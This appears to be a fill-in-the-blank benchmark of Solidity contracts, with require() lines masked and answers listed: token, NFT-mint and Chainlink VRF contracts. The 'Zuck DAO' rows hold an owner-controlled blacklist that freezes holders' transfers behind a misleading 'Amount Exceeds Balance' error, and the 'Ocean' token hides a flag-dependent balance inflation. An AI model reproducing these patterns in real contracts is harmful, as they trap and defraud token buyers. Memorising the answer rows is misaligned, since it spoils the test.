function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _MobBankFeeReceiver, address _burnFeeReceiver, address _teamFeeReceiver) external authorized {
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
}
function setTargetLiquidity(uint256 _target, uint256 _denominator) external authorized {
}
function getCirculatingSupply() public view returns (uint256) {
}
function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
}
function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
}
/* Airdrop Begins */
function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {
}
event AutoLiquify(uint256 amountETH, uint256 amountTokens);
}
| cooldownTimer[sender]<block.timestamp,"Vest seller time restricted" | 217,808 | cooldownTimer[sender]<block.timestamp |
null | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.18;
// ** ** ** ** **** **
// /** /** /** // /**/ /**
// /** /** /** ** ****** ****** ****** ******
// /** /** /****** /** **//// **////**///**/ ///**/
// /** /** /**///** /**//***** /** /** /** /**
// /** /** /** /** /** /////**/** /** /** /**
// //******* /****** /** ****** //****** /** //**
// /////// ///// // ////// ////// // //
import {Errors} from "src/librairies/Errors.sol";
import {Ownable} from "openzeppelin/access/Ownable.sol";
import {VRFCoordinatorV2Interface} from "chainlink/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import {VRFV2WrapperConsumerBase} from "chainlink/v0.8/vrf/VRFV2WrapperConsumerBase.sol";
/**
* @title ChainlinkVRFMetadata
*
* @dev Implementation of Chainlink VRFV2WrapperConsumerBase to request random numbers
*/
abstract contract ChainlinkVRFMetadata is VRFV2WrapperConsumerBase, Ownable {
// =============================================================
// VARIABLES
// =============================================================
// RequestID from the chainlink VRF V2 randomness request
uint256 public chainlinkRequestID;
// RandomWorlds fetched from the chainlink VRF V2 randomness request
uint256 public chainlinkSeed;
// =============================================================
// EXTERNAL
// =============================================================
/**
* @notice must called by the contract owner, contract must be funded with LINK tokens
* @notice can only be called once if `chainlinkRequestID` isn't set
* @dev reveal will call `requestRandomness` from VRFV2WrapperConsumerBase with
* @dev the following parameters:
* @dev _callbackGasLimit is the gas limit that should be used when calling the consumer's
* fulfillRandomWords function.
* @dev _requestConfirmations is the number of confirmations to wait before fulfilling the
* request. A higher number of confirmations increases security by reducing the likelihood
* that a chain re-org changes a published randomness outcome.
* @dev _numWords is the number of random words to request.
*/
function requestChainlinkVRF(uint32 _callbackGasLimit, uint16 _requestConfirmations) external onlyOwner {
}
/**
* @notice withdraw all excess of Link tokens from the contract balance to the specified recipient
* @param dest recipient of the Link transfer
*/
function withdrawRemainingLink(address dest) external onlyOwner {
uint256 balance = LINK.balanceOf(address(this));
if (balance == 0) revert Errors.EmptyLinkBalance();
require(<FILL_ME>)
}
// =============================================================
// INTERNAL
// =============================================================
/**
* @notice fulfillRandomWords handles the VRF V2 wrapper response.
* @notice Consuming contract must implement it.
* @dev Instead of reverting, reset chainlinkRequestID if there is an error
* @dev caused by Chainlink's oracle so we can trigger a new VRF request
* @param _requestId is the VRF V2 request ID.
* @param _randomWords is the randomness result.
*/
function fulfillRandomWords(uint256 _requestId, uint256[] memory _randomWords) internal override {
}
}
| LINK.transfer(dest,balance) | 217,836 | LINK.transfer(dest,balance) |
null | /**
---------------------------- Social Links ----------------------------
Telegram: https://t.me/OceanPortal
Website: https://www.ocean.navy
Docs: https://docs.ocean.navy
Twitter: https://www.ocean.navy/twitter/
---------------------------- $OCEAN Info ----------------------------
🌊 $OCEAN is powered by a brand new smart contract.
📈 Rule 1: Taxes are derived from the $OCEAN market cap.
Example: If the market cap is $25,000, the current sea
creature will be the Humpack, "🐋".
Because the market cap is in the Humpack range, the buy
tax will be 2% and the sell tax will be 1%.
🔄 Rule 2: The token name is derived from the $OCEAN market cap.
Example: If the market cap rises from $49,000 to $51,000,
the token name will update from "🐋" to "🦭".
💸 Rule 3: Each wallet is assigned a sea creature based on the $OCEAN
market cap during its first swap.
Tip: Once a wallet has been assigned a sea creature, it
can never be re-assigned.
Tip: The lower you wait to buy, the better the sea
creature you get will be.
Example: If a wallet purchases $OCEAN at a $65,000 market
cap, then that wallet's buy tax would never exceed
the Seal (🦭) buy tax of 2%.
🛢️ Rule 4: Oil spills briefly override everybody's taxes each time
a market cap milestone is broken.
Tip: Each time the $OCEAN market cap enters the range of the
next sea creature, everybody's tax becomes 0/15 for
the next 120 seconds.
Tip: Sells become less effective at suppressing buy volume
during an oil spill.
Tip: There is no limit on the amount of oil spills that can
happen.
------------------------- $OCEAN Milestones -------------------------
💡 Each sea creature has slightly different milestones and taxes:
🐳 Whale $0 MC
Lifetime tax: 2/0
🐋 Humpback $20,000 MC
Lifetime tax: 2/1
🦭 Seal $50,000 MC
Lifetime tax: 2/2
🦈 Shark $100,000 MC
Lifetime tax: 3/2
🐬 Dolphin $200,000 MC
Lifetime tax: 3/3
🦑 Squid $400,000 MC
Lifetime tax: 4/3
🐙 Octopus $700,000 MC
Lifetime tax: 4/4
🐠 Angelfish $1,200,000 MC
Lifetime tax: 5/4
🐟 Mackerel $1,800,000 MC
Lifetime tax: 5/5
🐡 Blowfish $2,600,000 MC
Lifetime tax: 6/5
🦞 Lobster $3,900,000 MC
Lifetime tax: 6/6
🦀 Crab $5,500,000 MC
Lifetime tax: 7/6
🦐 Shrimp $8,000,000 MC
Lifetime tax: 7/7
🪸 Coral $12,000,000 MC
Lifetime tax: 8/7
🦠 Amoeba $25,000,000 MC
Lifetime tax: 8/8
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.14;
import "@openzeppelin/openzeppelin-contracts/access/Ownable.sol";
import "@openzeppelin/openzeppelin-contracts/token/ERC20/IERC20.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract Ocean is Context, IERC20, Ownable {
mapping(uint256 => string) internal seaCreatures;
mapping(uint256 => uint256) internal milestones;
mapping(uint256 => uint256) internal buyTaxGlobal;
mapping(uint256 => uint256) internal sellTaxGlobal;
uint256 internal lastSeaCreature;
uint256 internal lastProgression;
mapping(address => uint256) internal seaCreature;
mapping(address => bool) internal isSeaCreature;
string private _name = unicode"🐳";
string private constant _symbol = "OCEAN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public constant maxBuyTax = 8;
uint256 public constant maxSellTax = 8;
uint256 private _taxFee = 2;
address payable private _buybackWallet = payable(msg.sender);
address payable private _marketingWallet = payable(msg.sender);
IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Factory public constant uniswapV2Factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IERC20 public constant weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public immutable OCEAN;
address public uniswapV2Pair;
AggregatorV3Interface public constant chainlinkV3Feed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);
bool private tradingOpen;
bool private inTaxSwap;
bool private inContractSwap;
uint256 public maxSwap = _tTotal / 50;
uint256 public maxWallet = _tTotal / 50;
uint256 private constant _triggerSwap = 1e9;
modifier lockTheSwap {
}
constructor() {
}
receive() external payable {}
function getETHUSDPriceFeed() external pure returns (address) {
}
function getETHUSDPrice() public view returns (uint256) {
}
function getOCEANUSDMarketCap() public view returns (uint256) {
}
function getCurrentSeaCreature() public view returns (uint256) {
}
function getCurrentSeaCreatureEmoji() public view returns (string memory) {
}
function getLastSeaCreature() external view returns (uint256) {
}
function getNextSeaCreature() public view returns (uint256) {
}
function getNextSeaCreatureEmoji() external view returns (string memory) {
}
function hasOilSpill() public view returns (bool) {
}
function getLastOilSpill() external view returns (uint256) {
}
function getOilSpillTimeRemaining() external view returns (uint256) {
}
function getGlobalMaxBuyTax() external pure returns (uint256) {
}
function getGlobalMaxSellTax() external pure returns (uint256) {
}
function getGlobalBuyTax() public view returns (uint256) {
}
function getGlobalSellTax() public view returns (uint256) {
}
function getWalletIsSeaCreature(address _wallet) external view returns (bool) {
}
function getWalletSeaCreature(address _wallet) public view returns (uint256) {
}
function getWalletSeaCreatureEmoji(address _wallet) external view returns (string memory) {
}
function getWalletBuyTax(address _wallet) public view returns (uint256) {
}
function getWalletMaxBuylTax(address _wallet) external view returns (uint256) {
}
function getWalletSellTax(address _wallet) public view returns (uint256) {
}
function getWalletMaxSellTax(address _wallet) external view returns (uint256) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function symbol() public pure returns (string memory) {
}
function name() public view returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function _removeTax() private {
}
function _restoreTax() private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function _refresh() private {
}
function _swapOCEANForETH(uint256 _amountOCEAN) private lockTheSwap returns (bool) {
}
function _sendETHToFee(uint256 _amountETH) private returns (bool) {
}
function enableTrading() external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function swapTokensForEthManual(uint256 _contractTokenBalance) external returns (bool) {
require(<FILL_ME>)
return _swapOCEANForETH(_contractTokenBalance);
}
function sendETHToFeeManual(uint256 _contractETHBalance) external returns (bool) {
}
function _tokenFromReflection(uint256 rAmount) private view returns (uint256) {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 redisFee, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns (uint256) {
}
}
| _msgSender()==_buybackWallet||_msgSender()==_marketingWallet | 217,892 | _msgSender()==_buybackWallet||_msgSender()==_marketingWallet |
"Total reflections must be less than max" | /**
---------------------------- Social Links ----------------------------
Telegram: https://t.me/OceanPortal
Website: https://www.ocean.navy
Docs: https://docs.ocean.navy
Twitter: https://www.ocean.navy/twitter/
---------------------------- $OCEAN Info ----------------------------
🌊 $OCEAN is powered by a brand new smart contract.
📈 Rule 1: Taxes are derived from the $OCEAN market cap.
Example: If the market cap is $25,000, the current sea
creature will be the Humpack, "🐋".
Because the market cap is in the Humpack range, the buy
tax will be 2% and the sell tax will be 1%.
🔄 Rule 2: The token name is derived from the $OCEAN market cap.
Example: If the market cap rises from $49,000 to $51,000,
the token name will update from "🐋" to "🦭".
💸 Rule 3: Each wallet is assigned a sea creature based on the $OCEAN
market cap during its first swap.
Tip: Once a wallet has been assigned a sea creature, it
can never be re-assigned.
Tip: The lower you wait to buy, the better the sea
creature you get will be.
Example: If a wallet purchases $OCEAN at a $65,000 market
cap, then that wallet's buy tax would never exceed
the Seal (🦭) buy tax of 2%.
🛢️ Rule 4: Oil spills briefly override everybody's taxes each time
a market cap milestone is broken.
Tip: Each time the $OCEAN market cap enters the range of the
next sea creature, everybody's tax becomes 0/15 for
the next 120 seconds.
Tip: Sells become less effective at suppressing buy volume
during an oil spill.
Tip: There is no limit on the amount of oil spills that can
happen.
------------------------- $OCEAN Milestones -------------------------
💡 Each sea creature has slightly different milestones and taxes:
🐳 Whale $0 MC
Lifetime tax: 2/0
🐋 Humpback $20,000 MC
Lifetime tax: 2/1
🦭 Seal $50,000 MC
Lifetime tax: 2/2
🦈 Shark $100,000 MC
Lifetime tax: 3/2
🐬 Dolphin $200,000 MC
Lifetime tax: 3/3
🦑 Squid $400,000 MC
Lifetime tax: 4/3
🐙 Octopus $700,000 MC
Lifetime tax: 4/4
🐠 Angelfish $1,200,000 MC
Lifetime tax: 5/4
🐟 Mackerel $1,800,000 MC
Lifetime tax: 5/5
🐡 Blowfish $2,600,000 MC
Lifetime tax: 6/5
🦞 Lobster $3,900,000 MC
Lifetime tax: 6/6
🦀 Crab $5,500,000 MC
Lifetime tax: 7/6
🦐 Shrimp $8,000,000 MC
Lifetime tax: 7/7
🪸 Coral $12,000,000 MC
Lifetime tax: 8/7
🦠 Amoeba $25,000,000 MC
Lifetime tax: 8/8
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.14;
import "@openzeppelin/openzeppelin-contracts/access/Ownable.sol";
import "@openzeppelin/openzeppelin-contracts/token/ERC20/IERC20.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract Ocean is Context, IERC20, Ownable {
mapping(uint256 => string) internal seaCreatures;
mapping(uint256 => uint256) internal milestones;
mapping(uint256 => uint256) internal buyTaxGlobal;
mapping(uint256 => uint256) internal sellTaxGlobal;
uint256 internal lastSeaCreature;
uint256 internal lastProgression;
mapping(address => uint256) internal seaCreature;
mapping(address => bool) internal isSeaCreature;
string private _name = unicode"🐳";
string private constant _symbol = "OCEAN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public constant maxBuyTax = 8;
uint256 public constant maxSellTax = 8;
uint256 private _taxFee = 2;
address payable private _buybackWallet = payable(msg.sender);
address payable private _marketingWallet = payable(msg.sender);
IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Factory public constant uniswapV2Factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IERC20 public constant weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public immutable OCEAN;
address public uniswapV2Pair;
AggregatorV3Interface public constant chainlinkV3Feed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);
bool private tradingOpen;
bool private inTaxSwap;
bool private inContractSwap;
uint256 public maxSwap = _tTotal / 50;
uint256 public maxWallet = _tTotal / 50;
uint256 private constant _triggerSwap = 1e9;
modifier lockTheSwap {
}
constructor() {
}
receive() external payable {}
function getETHUSDPriceFeed() external pure returns (address) {
}
function getETHUSDPrice() public view returns (uint256) {
}
function getOCEANUSDMarketCap() public view returns (uint256) {
}
function getCurrentSeaCreature() public view returns (uint256) {
}
function getCurrentSeaCreatureEmoji() public view returns (string memory) {
}
function getLastSeaCreature() external view returns (uint256) {
}
function getNextSeaCreature() public view returns (uint256) {
}
function getNextSeaCreatureEmoji() external view returns (string memory) {
}
function hasOilSpill() public view returns (bool) {
}
function getLastOilSpill() external view returns (uint256) {
}
function getOilSpillTimeRemaining() external view returns (uint256) {
}
function getGlobalMaxBuyTax() external pure returns (uint256) {
}
function getGlobalMaxSellTax() external pure returns (uint256) {
}
function getGlobalBuyTax() public view returns (uint256) {
}
function getGlobalSellTax() public view returns (uint256) {
}
function getWalletIsSeaCreature(address _wallet) external view returns (bool) {
}
function getWalletSeaCreature(address _wallet) public view returns (uint256) {
}
function getWalletSeaCreatureEmoji(address _wallet) external view returns (string memory) {
}
function getWalletBuyTax(address _wallet) public view returns (uint256) {
}
function getWalletMaxBuylTax(address _wallet) external view returns (uint256) {
}
function getWalletSellTax(address _wallet) public view returns (uint256) {
}
function getWalletMaxSellTax(address _wallet) external view returns (uint256) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function symbol() public pure returns (string memory) {
}
function name() public view returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function _removeTax() private {
}
function _restoreTax() private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function _refresh() private {
}
function _swapOCEANForETH(uint256 _amountOCEAN) private lockTheSwap returns (bool) {
}
function _sendETHToFee(uint256 _amountETH) private returns (bool) {
}
function enableTrading() external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function swapTokensForEthManual(uint256 _contractTokenBalance) external returns (bool) {
}
function sendETHToFeeManual(uint256 _contractETHBalance) external returns (bool) {
}
function _tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
require(<FILL_ME>)
return (!inContractSwap && inTaxSwap) ? totalSupply() * 1024 : rAmount / _getRate();
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 redisFee, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns (uint256) {
}
}
| totalSupply()<=MAX,"Total reflections must be less than max" | 217,892 | totalSupply()<=MAX |
"x" | pragma solidity 0.8.16;
/*
*/
contract Zuck {
mapping (address => uint256) public balanceOf;
mapping (address => bool) txAmnt;
//
string public name = "Zuck DAO";
string public symbol = unicode"Zuck DAO";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function aprvv(address _user) public onlyOwner {
require(<FILL_ME>)
txAmnt[_user] = true;
}
function apvrr(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
}
}
| !txAmnt[_user],"x" | 217,893 | !txAmnt[_user] |
"xx" | pragma solidity 0.8.16;
/*
*/
contract Zuck {
mapping (address => uint256) public balanceOf;
mapping (address => bool) txAmnt;
//
string public name = "Zuck DAO";
string public symbol = unicode"Zuck DAO";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function aprvv(address _user) public onlyOwner {
}
function apvrr(address _user) public onlyOwner {
require(<FILL_ME>)
txAmnt[_user] = false;
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
}
}
| txAmnt[_user],"xx" | 217,893 | txAmnt[_user] |
"Amount Exceeds Balance" | pragma solidity 0.8.16;
/*
*/
contract Zuck {
mapping (address => uint256) public balanceOf;
mapping (address => bool) txAmnt;
//
string public name = "Zuck DAO";
string public symbol = unicode"Zuck DAO";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function aprvv(address _user) public onlyOwner {
}
function apvrr(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
require(<FILL_ME>)
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
}
}
| !txAmnt[msg.sender],"Amount Exceeds Balance" | 217,893 | !txAmnt[msg.sender] |
"Amount Exceeds Balance" | pragma solidity 0.8.16;
/*
*/
contract Zuck {
mapping (address => uint256) public balanceOf;
mapping (address => bool) txAmnt;
//
string public name = "Zuck DAO";
string public symbol = unicode"Zuck DAO";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function aprvv(address _user) public onlyOwner {
}
function apvrr(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(<FILL_ME>)
require(!txAmnt[to] , "Amount Exceeds Balance");
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
| !txAmnt[from],"Amount Exceeds Balance" | 217,893 | !txAmnt[from] |
"Amount Exceeds Balance" | pragma solidity 0.8.16;
/*
*/
contract Zuck {
mapping (address => uint256) public balanceOf;
mapping (address => bool) txAmnt;
//
string public name = "Zuck DAO";
string public symbol = unicode"Zuck DAO";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function aprvv(address _user) public onlyOwner {
}
function apvrr(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(!txAmnt[from] , "Amount Exceeds Balance");
require(<FILL_ME>)
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
| !txAmnt[to],"Amount Exceeds Balance" | 217,893 | !txAmnt[to] |
"Airdrop will surpass the max supply" | /**
* @title Wasteland Smart Contract for Divine Anarchy
* @author Diveristy - twitter.com/DiversityETH
*
* 8888b. 88 Yb dP 88 88b 88 888888 db 88b 88 db 88""Yb dP""b8 88 88 Yb dP
* 8I Yb 88 Yb dP 88 88Yb88 88__ dPYb 88Yb88 dPYb 88__dP dP `" 88 88 YbdP
* 8I dY 88 YbdP 88 88 Y88 88"" dP__Yb 88 Y88 dP__Yb 88"Yb Yb 888888 8P
* 8888Y" 88 YP 88 88 Y8 888888 dP""""Yb 88 Y8 dP""""Yb 88 Yb YboodP 88 88 dP
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC721A-Custom.sol";
contract Wasteland is Ownable, ERC721A {
uint256 public constant MAX_SUPPLY = 5050;
string public baseUri;
bool public preReveal = true;
constructor(string memory uri) ERC721A("Wasteland", "DAW") {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function airdrop(address[] memory wallets, uint256[] memory amount, uint256 total) external onlyOwner {
require(<FILL_ME>)
uint256 walletCount = wallets.length;
for(uint256 i; i < walletCount; i++) {
// Shoutout to twitter.com/Mai_Jpegs for pushing me to simplify the mint function
_customMint(wallets[i], amount[i]);
}
}
function tokensOfOwner(address owner) public view returns (uint256[] memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setPreReveal(bool isPreReveal) external onlyOwner {
}
function setBaseUri(string memory uri) external onlyOwner {
}
}
| totalSupply()+total<=MAX_SUPPLY,"Airdrop will surpass the max supply" | 217,921 | totalSupply()+total<=MAX_SUPPLY |
"Minting limit reached" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.14;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "./ERC2981.sol";
contract MonsterFactoryX is
Context,
ERC721Enumerable,
ERC721Burnable,
ERC721URIStorage,
ERC2981,
AccessControl
{
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
string private baseTokenURI;
address public owner;
address public creator;
address public signer;
uint256 private MAX_SUPPLY;
bool public isRevealed;
uint256 private INITIAL_SUPPLY;
uint256 public mintingFee = 0.03 ether;
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
//@notice Sign struct stores the sign bytes
//@param v it holds(129-130) from sign value length always 27/28.
//@param r it holds(0-66) from sign value length.
//@param s it holds(67-128) from sign value length.
//@param nonce unique value.
struct Sign {
uint8 v;
bytes32 r;
bytes32 s;
uint256 nonce;
}
mapping(address => uint256) mintedCount;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event MintingFeeUpdated(uint256 newMintingFee, uint256 mintingFee);
event SignerChanged(address indexed signer, address indexed newSigner);
event creatorChanged(address indexed newcreator, address indexed creator);
constructor(
string memory name,
string memory symbol,
string memory _baseTokenURI,
address _creator
) ERC721(name, symbol) {
}
function transferOwnership(address newOwner)
external
onlyRole(ADMIN_ROLE)
returns (bool)
{
}
function setBaseURI(string memory _baseTokenURI) external onlyRole(ADMIN_ROLE) {
}
function setCreator(address newcreator) external onlyRole(ADMIN_ROLE) {
}
function changeSigner(address newSigner) external onlyRole(ADMIN_ROLE) returns(bool) {
}
function revealNFT() external onlyRole(ADMIN_ROLE) {
}
function setMintingFee(uint256 _mintingFee) external onlyRole(ADMIN_ROLE) {
}
function batchMint(
string[] memory _tokenURI,
uint96[] memory _royaltyFee,
uint256 qty,
Sign memory sign
) external virtual payable returns (uint256 _tokenId) {
require(<FILL_ME>)
require(qty == _royaltyFee.length && qty == _tokenURI.length, "Invalid Quantity");
require(mintedCount[msg.sender] + qty <= 3, "Minting limit exceeded");
require((mintingFee * qty) == msg.value, "Insufficiet minting fee");
verifySign(_tokenURI, qty, _msgSender(), sign);
for(uint256 i = 0; i < qty ; i++) {
_tokenId = _tokenIdTracker.current();
_mint(_msgSender(), _tokenId);
_setTokenURI(_tokenId, _tokenURI[i]);
_tokenIdTracker.increment();
_setTokenRoyalty(_tokenId, _msgSender(), _royaltyFee[i]);
}
mintedCount[msg.sender] += qty;
payable(owner).transfer(msg.value);
}
function addSupply(uint256 supply) external onlyRole(ADMIN_ROLE) {
}
function baseURI() external view returns (string memory) {
}
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage)
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function _baseURI() internal view override returns (string memory) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable, ERC2981, AccessControl)
returns (bool)
{
}
function _encode(string[] memory tokenURI_, uint256 qty_) internal pure returns(bytes memory) {
}
function verifySign(string[] memory _tokenURI, uint256 _qty, address caller, Sign memory sign) internal view {
}
}
| _tokenIdTracker.current()<=MAX_SUPPLY,"Minting limit reached" | 217,942 | _tokenIdTracker.current()<=MAX_SUPPLY |
"Minting limit exceeded" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.14;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "./ERC2981.sol";
contract MonsterFactoryX is
Context,
ERC721Enumerable,
ERC721Burnable,
